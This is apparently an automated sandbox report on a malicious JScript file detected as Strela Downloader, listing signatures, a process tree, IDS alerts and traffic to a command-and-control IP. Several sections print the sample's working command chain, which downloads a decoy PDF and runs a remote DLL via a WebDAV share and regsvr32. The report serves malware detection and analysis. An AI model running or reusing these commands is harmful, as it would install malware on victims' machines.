Edit tour

Windows Analysis Report
16910148382611315301.js

Overview

General Information

Sample name:	16910148382611315301.js
Analysis ID:	1589846
MD5:	fee0cad1b58f869ed5c2db65e8f7ad90
SHA1:	27266459f014451e8631bd1455710aab9d534ed0
SHA256:	a3f6ff69ff85fc17c609eade5c7c334c3a8e0824d003b9ffa6985d5691f918ac
Tags:	jsuser-kupschke
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2924 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6612 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6504 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6728 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5560 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7268 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1596,i,9492654057453378191,10660572081928221808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5476 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6188 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4564 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2924	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6504, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6504, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ProcessId: 2924, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6188, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ProcessId: 2924, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6612, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6504, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4564, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5476, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16910148382611315301.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\109771231931809.dll, ProcessId: 6612, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:46:00.876513+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:46:03.032639+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-13T08:46:00.876513+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 07:46:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

